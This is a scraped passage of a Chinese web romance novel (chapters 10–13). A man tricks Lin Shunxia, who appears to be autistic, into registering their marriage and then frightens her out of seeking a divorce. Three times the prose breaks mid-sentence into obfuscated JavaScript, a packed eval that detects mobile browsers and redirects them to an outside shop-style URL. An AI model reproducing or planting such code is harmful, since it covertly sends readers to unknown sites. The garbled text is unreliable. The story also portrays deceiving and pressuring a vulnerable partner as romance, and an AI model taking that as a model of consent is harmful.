“很好,再来一张。” 接下来的几分钟里,快门声不断响起。 傅竞野始终维持着那个姿势,没有松开搭在她肩上的手。 他的体温像是一层无形的茧,将林瞬夏严密地包裹其中,隔绝了外界那些让她感到不安的强光和注视。 直到拍摄结束。 摄影师放下相机,比了个“OK”的手势。 傅竞野才收回手,站起身。 笼罩在林瞬夏周身的压迫感和热度随之消散,冷空气重新填补了两人之间的空隙。 他垂眸看着她,抬起手,指背在她有些发烫的脸颊上碰了碰。 “是不是很不舒服?”他问。 林瞬夏眨了眨眼,因为强光刺激而产生的眩晕感还没完全褪去。 “......啊。” 她反应有些迟钝,过了一会儿,才很诚实地回答:“脸上不舒服,粉底太厚了,不透气。衣服还好,但是那个闪光灯的流明太高了,有点刺眼。” 傅竞野眼底划过一丝无奈的笑意。 “笨蛋。” 他低声评价了一句,不过并没有责备的意思,转过头,对着一旁的化妆师说道:“麻烦带她去卸妆。马上。” 10.笨蛋卖自己 卸了妆,又换回自己的衣服之后,林瞬夏终于觉得完全舒适了。 下一站,他们终于到达了民政局。 办事大厅里冷气开得很足,空气中弥漫着属于行政机构的严肃气息,混合着打印纸和印泥的味道。 不需要排队排队,傅竞野似乎早就预约好了。 他带着她穿过几对正在填表的情侣,径直走到一张空着的填单台前。 工作人员递过来两张A4纸,《申请结婚登记声明书》。 林瞬夏接过薄薄的纸,又接过傅竞野递过来的一支黑水笔。 笔杆是金属的,被他的体温捂得有些热,握在手里有一种沉甸甸的坠手感。 她低下头,像是在对待一份考卷一样,开始极其认真地阅读上面的每一个字。 “姓名”、“性别”、“出生日期”、“身份证件号”。 这些都是确定的、不需要思考就能调取的数据。 林瞬夏坐直了身体,背脊挺得笔直,开始填写。 她的字迹很工整,横平竖直,每一个笔画都精准地落在红色的下划线上,绝不越界分毫。 在填写“职业”一栏时,她停顿了一下,侧过头,用询问导师学术问题的严谨语气问傅竞野:“我是填助理工程师,还是填职员?” 傅竞野站在她身侧,一只手撑在桌沿,将她圈在一个半封闭的领地里。 他垂眸看着她那个写得像印刷体一样的名字,眼底的笑意很深,毫无良心地继续哄骗:“填工程师。” “哦。” 林瞬夏听话地写下了这三个字。 填到“声明人”一栏时,她没有任何犹豫,甚至没有多看一眼那行代表着终身契约的法律条款,就毫不迟疑地签下了自己的名字。 “写好了。” 林瞬夏放下笔,把表格推到傅竞野面前,像是交卷一样,仰起脸看着他,眼神清澈又期待。 傅竞野看着那张毫无涂改的声明书。 他又看了看林瞬夏。 她大概根本不知道这张纸意味着什么。 意味着从此以后,她的户口本上会多一个名字,她的乐高、她的游戏、她的生活、还有她那张精密的日程表,都要像以前一样,对他开放最高的访问权限。 像只笨拙的兔子,为了摆脱一个胡萝卜陷阱,却主动跳进了一个更深、更紧密的猎网里。 “林瞬夏。”傅竞野拿起那张纸,指腹碰了碰她签名的位置,又看了看她,有一点点良心发现地说,“你以后最好不要和陌生人说话,不然我怕你把自己卖了。” 林瞬夏没有听懂,慢半拍地“啊”了一声。 傅竞野没有给她反应或者反悔的机会,牵起她的手——那只还戴着戒指的手,走向了登记窗口。 审核、打印、盖章。 “砰。” 钢印落下的声音沉闷而有力,在红色的底纹上压出一圈凹凸不平的纹路。 两本暗红色的证件被递了出来。 林瞬夏伸手接过其中一本。 封皮有细微的磨砂质感,摸起来并不光滑。 她翻开,看见了那张红底的合照。 照片里,傅竞野向她倾斜,眼神专注,而她坐得笔直,表情懵懂。 这就是傅竞野说的“领证”? 好像......也没有很复杂。 比考驾照或者职业资格证容易多了。 林瞬夏合上本子,转过头,举起依然被金属圈箍得发紧的左手,递到傅竞野面前。 “好了。” 她看着他,语气里带着任务完成后的理所当然,认真地提醒他兑现承诺:“现在,可以把它摘下来了吗?” 傅竞野垂下眼,视线落在她举在半空的那只手上。 因为一直用力绷着劲儿,她的手指呈现出一种毫无血色的苍白,唯有被金属圈箍住的指根处,透着一圈被压迫后的淡粉。 “急什么。” 他反手握住了她的手腕,指腹搭在她脉搏跳动的位置,感受着那层薄薄皮肤下略显急促的震颤。 “上车再说。” 傅竞野拉开车门,把她塞进后座,动作并不粗鲁,还记得用手掌挡一下车顶边缘,然后自己也上了车,坐在林瞬夏身边。 他侧过身,从一侧摸出一支深色的软管。 是一支护手霜。 “手伸过来。” 林瞬夏有些迟疑地看着护手霜,又看了看自己被锁住的左手,慢吞吞地递了过去。 傅竞野拧开盖子,挤出一团白色的膏体,直接涂抹在了她的无名指上。 膏体是凉的,带着一丝清冽的木质香调。 不过紧接着,那股凉意就被另一股更加强势的热源覆盖了。 傅竞野的手指覆了上来,耐心地、缓慢地用指腹将那团膏体推开,揉进她的指缝和指节的褶皱里。 动作很细致,甚至称得上温柔。 但他手掌的温度太高了。 源源不断的热度混合着滑腻的膏体,包裹着林瞬夏微凉的手指,像是一场漫长的、令人缺氧的浸泡。 林瞬夏觉得很不自在。 触感太过黏腻,也太过亲密,手指交缠间,甚至能感觉到他指腹上那层薄薄的茧,刮擦过她手心时的存在感。 “......好了吗?”她小声催促,试图把手往回缩一点。 “别乱动。” 傅竞野掀起眼皮看了她一眼,手上的力道稍微收紧了一些,将她想要逃离的手牢牢扣在掌心。 他捏住了冷硬的钻戒。 其实这枚戒指的尺寸选得很精准,并不像林瞬夏以为的那样难以撼动。 它卡在指节处,只是因为金属与皮肤的摩擦力,以及某种心理上的束缚感。 傅竞野并没有用力硬拽。 他捏着戒圈,配合着润滑的护手霜,缓慢地向外旋转、推移。 金属圈在皮肤上滑动的触感清晰得可怕。 一点点越过指根,滑过略微突起的指关节,最后顺着指尖滑落。 没有想象中的疼痛,事实上连一点拉扯感都没有。 整个过程顺滑得不可思议,就像是这枚戒指原本就不属于这里,只是暂时停靠,现在终于被驱逐出境。 “叮。” 戒指脱离了手指,被傅竞野随手扔进了储物格里,发出一声清脆的撞击声。 林瞬夏感觉左手骤然一轻。 沉甸甸的坠手感消失了,被金属箍住的异物感也消失了。 她低下头,看着自己的手。 无名指上残留着一层亮晶晶的油光,而在指根的位置,留下了一道很浅、很淡的白色印记。 是皮肤被金属压迫后尚未完全回弹的凹陷。 傅竞野没有急着松开她的手。 他捏着她的指尖,目光在浅白色的戒痕上停留了片刻。 “怎么,”他看着那道痕迹,拇指指腹意有所指地在那圈白痕上重重地摩挲了一下,“还有印子。” 原本已经消失的束缚感,因为他的触碰,仿佛又幻觉般地回到了手指上。 林瞬夏猛地抽回了手。 她从包里翻出湿纸巾,用力地擦拭着手上残留的护手霜,试图把那种黏腻的触感和那道碍眼的痕迹一起擦掉。 “很快就会消的。” 她低着头,声音闷闷的:“这是压痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508044|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要血液循环恢复,几分钟就会消失。” 傅竞野靠回椅背,看着她那副急于撇清关系的模样,懒散地扯了扯嘴角,说:“好吧......那就当是物理现象。” 他侧着头,视线在她脸上巡视,语调懒洋洋的,带着点恶劣的玩味:“不过林工程师,能不能顺便解释一下,为什么你的散热系统也跟着一起故障了?” 傅竞野伸出手,轻轻碰了碰她滚烫的耳垂,满意地看着她像只受惊的兔子一样瑟缩了一下。 “连撒谎都不会的笨蛋。” 林瞬夏:“......” 耳垂上的温度高得吓人,这是无论用什么流体力学或者热力学公式都无法解释的异常升温。 她抿紧了嘴唇,决定单方面切断这次通讯。 林瞬夏转过头,把后脑勺留给了傅竞野,脸颊贴着冰凉的车窗玻璃,试图用这种物理降温的方式来强行重启自己过载的大脑。 车窗外的景色正在以一种令林瞬夏感到陌生的速度向后退去。 不是熟悉的、两旁种满梧桐树的街道,也没有即使闭着眼睛也能数出来的第十二个红绿灯路口。 路牌上的字变得模糊且陌生,周围的建筑物高度超出了她记忆中的天际线数据。 林瞬夏开始感觉到恐惧。 她感觉自己像是一颗偏离了轨道的卫星,正在坠入一片真空的、没有氧气的深渊。 林瞬夏的手指死死地扣住了车门的扶手,指甲在真皮上划出了一道浅浅的痕迹。 她的呼吸变得急促而短浅,因为过度换气而带来的窒息感扼住了她的喉咙。 林瞬夏想要开口询问,或者要求停车,但是声带像是生锈的齿轮,卡住了,发不出任何有意义的音节。 只能僵硬地坐着,脊背紧紧贴着椅背。 就在这时候,一只手伸了过来,握住了她僵直的后颈。 “林瞬夏。” 傅竞野的声音在耳边响起。 “看着我。” 他手掌用力,虎口卡住她的下颌,强迫她从那个令她恐惧的窗外世界转过头来。 林瞬夏被迫对上了他的视线。 “才十点十分。” 傅竞野抬起另一只手,在她眼前晃了晃表盘精密的腕表,指给她看上面的指针: “离你平时吃午饭的时间还有一个小时五十分钟。” 他用最精确的数据,重新帮她构建了时间的概念。 “时间很早。” 傅竞野看着她渐渐聚焦的瞳孔,拇指在她因为恐惧而发冷的脸侧碰了碰: “急着回去干什么?你的乐高和电脑又不会长腿跑了。” 林瞬夏眨了眨眼。 即将崩塌的世界停住了。 虽然坐标依然未知,但是时间轴重新变得清晰起来。 十点十分,确实很早。 “可是......”她动了动嘴唇,声音还有些发颤,“这不是回家的路。” “谁说要回家了?” 傅竞野挑了挑眉,松开了钳制她下颌的手,转而向下滑,重新握住了她刚刚获得自由、却依然冰凉的左手。 这一次没有金属的阻隔,掌心贴着掌心,严丝合缝。 “我刚才不是说了吗?” 傅竞野看着她,慢条斯理地抛出了被她强行遗忘的承诺:“带你去吃曲奇。” “刚出炉的,热的。” 他捏了捏她的指尖,补充道:“流心的。” 林瞬夏的注意力立刻被曲奇夺走了。 “刚出炉”、“热的”、“流心”。 她思考了片刻,忍不住问:“请问我们多久能到?” 11.笨蛋吃曲奇 傅竞野看着这个眼里只有吃的,根本没有自己的笨蛋,毫无底线地攻击她:“馋鬼。” 林瞬夏不太高兴地转过头,不再面对他,他终于告诉她:“五分钟就到了,耐心一点好吗,林瞬夏?” 林瞬夏当然是一个很有耐心的人,得到了确定的答案,就点了点头,重新靠回椅背上。 她闭上眼睛,开始在脑海里倒计时。 为了辅助这个过程,她的左手食指在牛仔裤粗糙的布料上,开始有节奏地画着一个个非常规整的小圆圈。 一下,代表一秒。 299,298,297...... 当指尖画到第287个圆圈的时候,车身传来轻微的震动,停了下来。 “到了。”傅竞野解开安全带,“下车吧。” 林瞬夏看了他一眼,有点不满,觉得他的时间估算存在严重偏差。 不过没来得及表达什么,她的注意力就被烘焙店吸引了。 这家烘焙店的门面很低调,没有显眼的招牌,只有一块深色的铜牌嵌在红砖墙上。 推开厚重的木门之后,林瞬夏停下了脚步。 因为里面的环境和她想象中明亮、充满香气的面包房完全不同。 光线很暗。 林瞬夏学过这种布置的名字。 “氛围感”。 店里只用了几盏暖黄色的射灯,照在深胡桃木的家具上。 空气中的味道对林瞬夏来说也有些过于复杂,不仅仅有黄油和糖的甜香,还有研磨咖啡豆的焦苦味,混杂着某种熏香蜡烛的木质调,以及旁边一桌女士身上浓郁的香水味。 还有声音。 背景音乐是低沉的大提琴,但这并没有盖过意式咖啡机运作时发出的尖锐嘶鸣,还有瓷碟碰撞的清脆声响。 气味、声音、昏暗的光线,像是一团乱麻,毫无章法地塞进了林瞬夏的大脑。 她站在门口,手指紧紧抓着裤缝,身体僵硬,不愿意再往前迈一步。 “怎么了?” 走在前面的傅竞野察觉到她没跟上来,停下脚步,回过头。 林瞬夏没有说话。 她低着头,试图调整呼吸,但在这种复杂的空气里,每一次呼吸都像是吸进了一团灰尘。 “吵?”傅竞野看了一眼那台正在打奶泡的咖啡机。 林瞬夏点了点头,又摇了摇头。 傅竞野没再问她什么,转身向服务生招了招手。 “把那个角落的位置清出来。”他指了指最里面、靠窗的一个角落。 那里有一株高大的琴叶榕挡着,远离了咖啡机,也远离了人群。 “把那个蜡烛撤了。” 傅竞野带着林瞬夏走过去,让她坐在那个相对封闭的角落里,背对着整个大厅。 “坐这里。” 林瞬夏看着面前的白墙,和窗外那棵静止不动的梧桐树,感觉处理器终于降温了一些。 很快,一盘曲奇端了上来。 只有三块。 深褐色的巧克力曲奇,边缘烤得焦脆,中心微微塌陷,还在冒着热气。 复杂的混合气味消失了。 此刻,林瞬夏的鼻端只剩下一种纯粹的、浓郁的、带着高温的甜香。 是可可脂和黄油在高温下发生美拉德反应后的味道。 很单一,很强烈,也很安全。 林瞬夏盯着那盘曲奇看了很久,很仔细地观察了曲奇表面的裂纹分布。 “这是无序的。”她评价道。 “吃。” 傅竞野没给她发表学术论文的机会,直接拿起一块,递到她嘴边。 林瞬夏张开嘴,咬了一小口。 酥脆的外壳在齿间崩裂,发出轻微的“咔嚓”声。紧接着,一股滚烫的、浓稠的巧克力流心从缺口处涌了出来。 真的很烫。 热度瞬间烫到了舌尖,甚至有点痛。 林瞬夏下意识地想要吐出来,或者是张嘴哈气。 但紧接着,非常浓郁的苦甜味就在口腔里炸开了,厚重的、带着一点点果酸和烟熏感的味道。 强烈的味觉刺激瞬间占据了她所有的感官通道,把刚才那些不适的噪音和气味全部挤了出去。 整个世界仿佛只剩下了这一点滚烫的甜。 林瞬夏眯起了眼睛。 她没有说话,只是很慢、很慢地咀嚼着。 腮帮子鼓起来一点,像一只正在进食的松鼠。 傅竞野看着她嘴角沾上的一点巧克力酱,以及她因为吃到好吃的东西而微微舒展的眉头。 “怎么样?”他问。 林瞬夏咽下最后一点,又伸出舌尖,极其认真地舔掉了嘴角的那点酱渍。 “可可固形物含量应该在70%以上。” 她给出了一个非常专业的分析报告: “黄油的比例有点高,但是中和了苦味。内部温度大概在55度,是流心状态保持得最好的温度区间。” 她抬起头,黑白分明的眼睛看着傅竞野西装上的扣子,很诚实地给出了结论:“比冰激凌里的好吃。” 最后,有点不高兴地抱怨:“你为什么不早点给我吃这个。” 傅竞野看着林瞬夏,表情变得很复杂,林瞬夏有点看不懂他在想什么,认真地分辨了一会儿也没有结果。 最后,傅竞野把碟子往林瞬夏那边推了推,对她说:“对不起,这是我的错。” 林瞬夏说这句话并不是想要傅竞野道歉,不知道该怎么接话,有点茫然地看了他一会儿,说“哦”,然后低下头,把剩下的两块曲奇都慢慢地吃完了。 然后她看了看时间,对傅竞野宣布:“我要回家了。” 傅竞野送她回了家。 林瞬夏靠在椅背上,感觉身体的每一个细胞都因为摄入了足够的糖分和热量而变得安逸。 黑色的迈巴赫重新停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514355|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了单元楼下。 林瞬夏解开安全带,推开车门,迈出一只脚,踩在水泥地上。 “再见。” 她转过身,按照社交礼仪,对还坐在后座上的傅竞野说了一句,然后没有丝毫留恋地关上了车门。 然而,傅竞野也下了车,自然地跟在她身后,走进了单元门。 声控灯亮起,昏黄的光线照亮了略显陈旧的门厅。 林瞬夏在电梯口停下了脚步。 她没有按上行键或者拿出蓝色的门禁卡,转过身,背靠着电梯门,警惕地看着跟进来的傅竞野。 “你可以走了。”她下达了逐客令。 傅竞野站在离她两步远的地方,单手插在西裤口袋里,好整以暇地看着她。 “不请我上去坐坐?” 林瞬夏摇了摇头,非常坚定地拒绝了:“不行。” “为什么?” “妈妈说过,”林瞬夏再一次搬出了不可违背的最高准则,“不能带陌生的男生回家。尤其是家里没有人的时候。” 傅竞野看着她那副严防死守的样子,没有生气,像是听到了什么有趣的笑话,唇角很轻地勾了一下。 他往前迈了一步。 林瞬夏下意识地想往后退,但背后已经是紧闭的电梯门,退无可退。 傅竞野站在她面前,高大的阴影笼罩下来,带着熟悉的压迫感。 “林瞬夏,”他垂眸看着她,宣布道,“这条规则已经失效了。” 林瞬夏愣了一下,下意识反驳:“没有失效。妈妈没有和我说过失效了。” “那是以前。” 傅竞野伸出手,越过她的肩膀,按亮了那个她一直不想按的上行键。 电梯门发出“叮”的一声轻响,缓缓滑开。 “现在不一样了。” 没有急着进去,傅竞野重新低头看着她,甚至还得寸进尺地又凑近了一些,直到两人的距离再次突破了安全社交范围。 “现在的我,不仅可以上去。” 他的声音很低,贴着林瞬夏的耳廓,在她听来像是恶魔的低语:“甚至,我在这个家里的顺位,比你的爸爸妈妈还要高。” 林瞬夏呆住了。 “不是这样的!”反应过来后,她急急地说,“不可能的。这不合逻辑。” “符合法律。” 傅竞野从口袋里掏出了刚刚领到的暗红色小本子。 封面上印着金色的国徽,还有三个烫金的大字。 他拿着那个本子,在林瞬夏眼前晃了晃,如同在得意洋洋地展示一张最高级别的通行证。 “看清楚了吗?” 傅竞野指着封面上的字,耐心地、一字一顿地念给她听:“结、婚、证。” 他看着林瞬夏瞬间睁大的眼睛,眼底的笑意终于漫了出来,表情是林瞬夏能在记忆中找到的,得逞后的恶劣。 “因为我们领的是结婚证啊,笨蛋。” 12.笨蛋又被骗 林瞬夏眯着眼,终于仔细地看向了傅竞野手里的本子。 刚才她的世界里只能容纳“摘下戒指”这件事,如今,终于能够仔细思考,自己被傅竞野哄着领的是什么证。 真的是那三个字。 什么意思?这就是结婚吗?那怎么办? 可不可以离婚? “我要离婚。”她很清晰地表态,“你又骗我。” 傅竞野似乎早就料到了她的反应,慢条斯理地收起了红色的小本子,放回了西装内袋里,贴着他的胸口。 “可以。” 林瞬夏立刻说:“那我们现在就去!” “不过,”傅竞野话锋一转,说,“离婚的流程比结婚要复杂得多。” “首先,我们需要去民政局申请,填写离婚登记声明书。这一步和刚才差不多。” “但是,”他垂下眼,看着她紧绷的脸,语速放得很慢,“根据《民法典》第一千零七十七条,提交申请后,有一个为期三十天的离婚冷静期。” “三十天?”林瞬夏的眼睛睁大了。 “对,三十天。”傅竞野点了点头,继续说道,“在这三十天内,任何一方都有权随时撤回申请。只要有一方反悔,离婚程序就会立刻终止。” 他的目光落在她脸上,意味深长:“我不保证我不会反悔。” 林瞬夏的手指蜷缩了一下,指尖掐进了掌心。 “就算三十天期满,”傅竞野没有停下,继续无情地补充,“我们还需要在接下来的三十天内,共同去民政局申请发给离婚证。如果逾期未申请,视为撤回。” “而且,这只是协议离婚。如果我不同意......” 他稍微停顿了一下,观察着她越来越苍白的脸色,然后给出了最后的致命一击:“那就只能走诉讼程序。你需要请律师,去法院起诉,经历调解、开庭、举证、质证......一审如果不判离,还要等六个月再次起诉。” “整个过程可能持续一年,甚至更久。” “在这期间,你需要不断地面对法官、律师、调解员,还要和我进行无数次面对面的对质和争吵。” 傅竞野看着她,语气依然是那种懒洋洋的、漫不经心的调子,却精准地踩中了她所有的痛点:“林瞬夏,你确定要这么做吗?” 三十天。一年。起诉。开庭。对质。争吵。 这完全超出了林瞬夏的处理能力。 她只是想要摘掉戒指,回到那种傅竞野没有出现的时候的生活,为什么会引发出这么庞大、这么可怕的连带反应? 林瞬夏的呼吸变得急促,眼神开始涣散,转过身,快步走到了电梯轿厢最里面的角落里,背对着傅竞野,慢慢地蹲了下来。 她把自己团成小小的一团,双手紧紧地捂住了耳朵,把脸埋进了膝盖里。 不要听。不要想。 太吵了。 她在黑暗中紧紧闭着眼睛,身体不受控制地微微发抖。 结婚,是绝对不可以的! 她刚刚才把生活整理好,有了一份完美的日程表,有一份梦想中的工作,而傅竞野只会把所有东西变得混乱,然后突然消失。 ......突然消失。 是不是等傅竞野再次消失就会好? 林瞬夏闭着眼睛,很用力地想:快消失吧! 然而,傅竞野没有消失。 林瞬夏感觉到有人从她的身后将她很紧地抱住,像是一张人形加压毯,严丝合缝地包裹住她,强行抑制住了她身体不受控制的生理性颤抖。 对于处于这种状态的林瞬夏来说,这种强有力的、封闭式的深压接触,比任何语言都能更快地让她找回身体的边界。 “林瞬夏。” 傅竞野的声音变了,不再是刚才那种带点戏弄意味的调子。 他的胸腔贴着她的后背,声带震动的频率低沉而平稳,透过骨骼传导进来,像是一段只有大提琴C弦才能拉出的单音,缓慢,厚重,且没有任何杂质。 “吸气。” 他发出了一个简单的指令。 林瞬夏在黑暗中抽噎了一下,下意识地跟着他的节奏,吸入了一口空气。 空气里满是他的味道。那种好闻的薄荷气息,瞬间挤走了电梯里那种让她恶心的金属味。 “呼气。” 他的手掌隔着衣料,一下一下地顺着她的脊背抚摸。 直到怀里僵硬的小身体慢慢软化下来,傅竞野这才微微松开了一些,但依然把她圈在双臂和墙角之间这个绝对安全的区域里。 “把刚才那些流程忘掉,我吓你的。”他说,“不需要三十天,也不需要律师。” 林瞬夏慢慢地把手从耳朵上拿下来,露出一双红通通的眼睛,茫然地看着虚空。 “那......结婚是什么?”她小声问。 傅竞野看着她湿漉漉的睫毛,抬起手,用温热的指腹擦过她的眼尾,替她抹掉了湿意。 “结婚很简单的。” 傅竞野直直地看着她闪躲的眼睛,给出了一个新的定义:“和谈恋爱一样。” “我可以教你。” 林瞬夏呆呆地听着这句话,看着眼前这张熟悉的、好看的脸,感觉记忆在这时候再次发生了错位与重叠。 将她带回到2019年6月10日。 ——一切混乱开始的下午。 高考结束后的第二天,曼海市的天气热得有些反常。蝉鸣声在窗外嘶吼,空气里弥漫着柏油路被晒化后的焦灼气味。 教室里的电风扇还在不知疲倦地转着,发出“吱呀吱呀”的声响,搅动着滞闷的热空气。 林瞬夏最后一个离开教室。 她把厚厚的试卷和复习资料整齐地码进书包里,拉上拉链,然后有些费力地背在背上。 书包的肩带压着她的肩膀,沉甸甸的,是这三年高中生活最后的重量。 走出教室,走廊里空荡荡的。 夕阳像打翻的橘子汽水,从西边的窗户泼洒进来,在地板上拉出一道道斜长的光柱。 她低着头,数着地上的瓷砖格数往前走,准确的绕开了边缘的黑线。 走到楼梯口的时候,视野里突然多了一双白色的球鞋。 很干净,鞋带系得很整齐。 林瞬夏停下脚步,抬起头。 傅竞野站在楼梯转角的阴影里,像是已经等了很久,整个人都浸没在光暗交界的暧昧地带。 他穿着一件简单的黑色T恤,单肩挎着黑色的书包,带子松松垮垮地挂在一侧肩膀上。 平时总是众星捧月般被人围着的大少爷,今天居然罕见地落了单。 他倚靠在墙上,手里拿着手机,听到脚步声,懒懒地掀起眼皮看了过来。 2019年4月18日,春游之后,傅竞野成为了林瞬夏在这个学校的第二个朋友。 原因是在走廊,或者食堂遇到林瞬夏的时候,傅竞野会和她打招呼。 基于上次视而不见导致被堵截质问的惨痛教训,林瞬夏迅速调整了面部肌肉,嘴角上扬十五度,向他输出了一个标准的社交微笑。 然而,傅竞野并没有像往常一样点头或让开。 他的视线没有移开分毫,直勾勾地盯着她,锁着她,让她觉得很不自在。 林瞬夏以为自己挡了他的路,所以往旁边躲了躲,贴着墙根,低着头,准备像一只不起眼的壁虎一样安静地滑过去。 就在她经过他身边的时候,一只手忽然伸了过来,越过她的肩膀,撑在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516701|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身后的墙壁上,封死了她的去路。 林瞬夏被迫停下脚步,有些茫然地抬起头。 凉快的、很香的阴影再次笼罩下来。 傅竞野微微弯下腰,强行出现在林瞬夏的视线中。 “林瞬夏。” 他叫了他的名字。 “你要不要和我谈恋爱。” 林瞬夏觉得有点莫名其妙,因为她曾在干预手册上读到过。 恋爱关系的建立需要满足三个条件: 第一,双方必须确立排他性的情感联结; 第二,需要进行高频率的非必要信息交换; 第三,肢体接触的频率和深度要超过普通社交距离。 她和傅竞野显然不符合,这不符合逻辑。 大概是自己听错了,书包很重,天也很热,林瞬夏不是很想在现在去想这件想不通的事,只想快点回家。 于是,她看准了傅竞野手臂下方的一点空气,灵活地从他臂弯下钻了出去。 傅竞野:“......” 他维持着撑墙的姿势,看着那个背着沉重书包却跑得飞快的背影,舌尖顶了顶上颚,差点气笑了。 人生第一次表白。 不仅被无视,还被当成了路障。 真是个......笨蛋。 “站住。” 他直起身,长腿一迈,没几步就追上了试图逃逸的小身影。 手腕被另一只手握住了。 林瞬夏被扯得踉跄了一下,不得不再次停下来,回过头看他的衣领。 傅竞野垂眸看着她,眉头微挑,语气里带着一点被气笑的无奈:“跑什么?” “你这是答应还是不答应?” 林瞬夏想把手抽回来,但他握得很紧,根本动不了。 “可是......”她犹豫了一下,小声说,“我还要回家。” “回家之前先把这个问题解决了。”傅竞野并不打算放过她,他稍稍俯身,再次逼近,“很难回答吗?” 正如林瞬夏在日记中写的那样,她很慢地点了头。 傅竞野这才松开了对她手腕的钳制,不过没有完全放过她。 下一秒,总是懒散挂在肩上的黑色书包被他不轻不重地甩回了背上,空出来的手非常自然地接过了林瞬夏的书包。 压得林瞬夏肩膀酸痛、有时还会勒出红痕的沉重书包,到了他手里,轻得像是一团没有重量的棉花。 肩上的重量骤然消失。 林瞬夏愣了一下,有些茫然地看着傅竞野。 他单肩背着明显不符合他审美的粉色书包,却依然走出了一种不可一世的架势。 “走吧。” 傅竞野偏过头,下巴朝校门的方向点了点:“送你去公交车站。” 林瞬夏没有动。 她站在原地,盯着那个在他背脊上晃荡的粉色书包,觉得这个画面严重违背了常理。 “为什么?”林瞬夏问,语气里透着真诚的困惑,“我有背书包的能力。这是我的书包。” 傅竞野停下脚步,转过身看着她。 夕阳把他的影子拉得很长,正好盖住了她。 “因为谈恋爱就是这样。” 他给出了一个准确的定义,仿佛这就是某种宇宙公理:“男朋友就是要帮女朋友背书包。这是基本守则。” 林瞬夏皱起了眉。 手册上没有写这点。 傅竞野看着她,好像明白了什么,往回走了几步,回到她的身边,说:“笨蛋,你不会不知道怎么谈恋爱吧?” 林瞬夏还皱着眉,没说话。 他伸手,碰了碰她的脸颊,说:“别这个表情,谈恋爱很简单的。” “我可以教你。” 13.怎么谈恋爱 林瞬夏看了傅竞野三秒,又低下头去看他的鞋子上很对称的蝴蝶结,才非常认真地提出了质疑:“你很会谈恋爱吗?” 傅竞野被她噎住,没什么办法地笑了一声,又矮下身,出现在林瞬夏的视线中,说:“不会。” “那我为什么要你教我?”林瞬夏皱着脸问。 傅竞野反问:“你不是不会吗?” 他看着林瞬夏毛茸茸的头顶,想到了哄骗这个皱成一团的小蘑菇的新方法:“为了和你谈恋爱,我做了充分的了解,肯定比你会。” “或者,你想自己去学?” 林瞬夏的眉头皱得更紧了。 自己学?去哪里学?图书馆没有《恋爱基础理论》这种教材,老师也不会在上课时划重点。 相比之下,眼前这个声称“做了充分了解”的傅竞野,似乎是一个......勉强可信的选择? “那......”林瞬夏犹豫了一下,问,“我现在应该怎么做。” 傅竞野压了压唇角的弧度,神色变得稍微严肃了一点,伸出一根手指,在林瞬夏面前晃了晃。 “第一件事,要牵手。” “为什么?”林瞬夏本能地反问,“我又不用你保护我。” “不一样的,人类手掌上有大量的神经末梢。” 傅竞野开始瞎编乱造,语气却笃定得像是在背诵生物课本:“牵手可以促进多巴胺分泌,维持恋爱关系的稳定性。如果不牵手,恋爱关系就会因为缺乏激素支持而崩溃。” 他顿了顿,还要倒打一耙:“难道你想让我们的关系刚开始就因为这种低级错误而结束?” 林瞬夏抿了抿嘴唇,想起了2019年4月18日发生在恐怖古堡的牵手。 当她牵着傅竞野的手,仔细向他讲解每一样机关可能的原理时,她确实感受到一种不太一样的愉悦感和安全感。 原来这就是牵手的作用吗? 她慢吞吞地伸出了自己的左手,掌心向上。 “那......牵吧。” 傅竞野垂眸,看着林瞬夏的手,和记忆中一样白净,柔软,但是却僵硬得像一块木板,手指绷得直直的。 戏弄的心思又起来了。 他伸出手,先用指尖在她掌心的纹路上轻轻划了一下。 有点痒。 林瞬夏的手指蜷缩了一下。 “错了。”傅竞野点评道,“太僵硬,这样会导致神经末梢接触不良,多巴胺分泌不足。” “那要怎么做?”林瞬夏虚心求教。 “要放松。”傅竞野一边说着,一边非常自然地将自己的手指挤进了她的指缝里。 一根,两根,三根。 直到两个人的手指完全交错,掌心贴合,严丝合缝。 而后,傅竞野握紧了林瞬夏的手,稍微用力捏了捏她的指骨,感受着掌心里传来的一点点因为紧张产生的潮湿热度,心满意足地给出了结论:“和男朋友要这样牵手,记住了吗,林同学?” 林瞬夏有点好奇地看着两个人紧紧握在一起的手。 原来恋爱要这样牵手吗? 像是个解不开的死结。 傅竞野的体温比她高,手掌宽大而干燥,甚至还能摸到虎口处一点薄薄的茧。 “你的手温度很高,而且,比我大很多。” 她动了动被夹住的手指,用指腹去感受他皮肤上略显粗糙的质感,继续补充道:“骨骼密度似乎也比我大。这就是男生的手吗?” 傅竞野:“......” 